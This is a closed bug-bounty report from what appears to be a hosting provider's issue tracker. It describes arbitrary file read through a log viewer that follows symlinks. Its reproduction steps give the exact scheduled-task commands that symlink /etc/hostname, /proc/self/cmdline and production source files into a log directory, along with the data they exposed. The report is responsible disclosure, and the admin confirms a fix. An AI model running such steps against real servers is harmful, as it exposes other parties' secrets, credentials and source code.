Security vulnerabilities

  • Status Closed
  • Assigned To
    cbay
  • Private
Attached to Project: Security vulnerabilities
Opened by Siddharthsharma9449 - 20.11.2026
Last edited by cbay - 21.11.2026

FS#562 - Arbitrary File Read via Symlink Following in Log Viewer

Summary

The admin panel's Apache log viewer follows symbolic links without validation. A customer can create a scheduled task that symlinks any server file into their log directory. The log viewer then displays that file's contents, allowing arbitrary file read on the host — including /etc/hostname, /proc/self/cmdline, and Production source code.

Steps to Reproduce


1. Create a scheduled task

Admin Panel → Advanced → Scheduled tasks → Add
URL: https://admin.alwaysdata.com/job/add/
- Type: Execute the command
- Command: mkdir -p ~/admin/logs/apache/zzzz; ln -sfn /etc/hostname ~/admin/logs/apache/zzzz/apache-zzzz.log
- SSH user: select your user
- Frequency: Every 1 minute(s)
- → Submit

2. Wait 1 minute for the task to execute

3. View the log — Proof 1: Server hostname 

URL: https://admin.alwaysdata.com/site/<your_site_id>/logs/?type=apache&name=zzzz
Result: Page displays overlord-core — the server's /etc/hostname, not a log file.

4. Edit the task — Proof 2: Process command line

Admin Panel → Advanced → Scheduled tasks → click your task
Change command to:
ln -sfn /proc/self/cmdline ~/admin/logs/apache/zzzz/apache-zzzz.log

→ Submit → wait 1 minute → reload the same log page 

Result: Page displays /data/www/production/aldjango/.venv/bin/python /data/www/production/aldjango/alwaysdata/core/scripts/sudo.py read... — reveals the privileged script that reads logs and the full production path.

5. Edit the task — Proof 3: Production source code

Change command to:
ln -sfn /data/www/production/aldjango/alwaysdata/core/apps.py ~/admin/logs/apache/zzzz/apache-zzzz.log

→ Submit → wait 1 minute → reload the same log page 

Result: Page displays **Alwaysdata's production Django source code** — import os import django.apps class CoreConfig(django.apps.AppConfig)...

6. Cleanup

Edit task command to:
rm -rf ~/admin/logs/apache/zzzz
→ Submit → wait 1 minute → delete the task.

Impact

- Read any file on the server — config files, secrets, credentials
- Read production source code — full access to alwaysdata's Django codebase
- Leak server internals — hostname, process info, internal paths
- Potential credential theft — database configs, API keys, environment variables

Closed by  cbay
21.11.2026 11:37
Reason for closing:  Fixed
Admin
cbay commented on 20.11.2026 15:09

Hello,

Can you confirm that the vulnerability is fixed?

Kind regards,
Cyril

Hi, I have checked it, It is fixed. Should I claim reward?

Admin
cbay commented on 21.11.2026 11:37

Yes, you can claim your bounty by opening a support ticket.

Loading...

Available keyboard shortcuts

Tasklist

Task Details

Task Editing